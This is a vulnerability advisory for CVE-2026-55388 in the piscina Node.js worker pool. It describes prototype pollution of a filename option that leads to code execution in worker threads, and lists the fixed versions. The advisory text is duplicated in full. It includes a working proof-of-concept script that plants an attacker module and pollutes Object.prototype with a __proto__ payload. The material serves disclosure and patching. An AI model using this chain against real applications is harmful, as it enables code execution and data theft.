CVE-2026-55388

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

1. Upstream PP-source somewhere in the process — common in transitive deps
2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:

• Every pool.run(task, opts) call across the entire process is hijacked
• Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
• Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
• Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data…

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

1. Upstream PP-source somewhere in the process — common in transitive deps
2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:

• Every pool.run(task, opts) call across the entire process is hijacked
• Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
• Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
• Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data…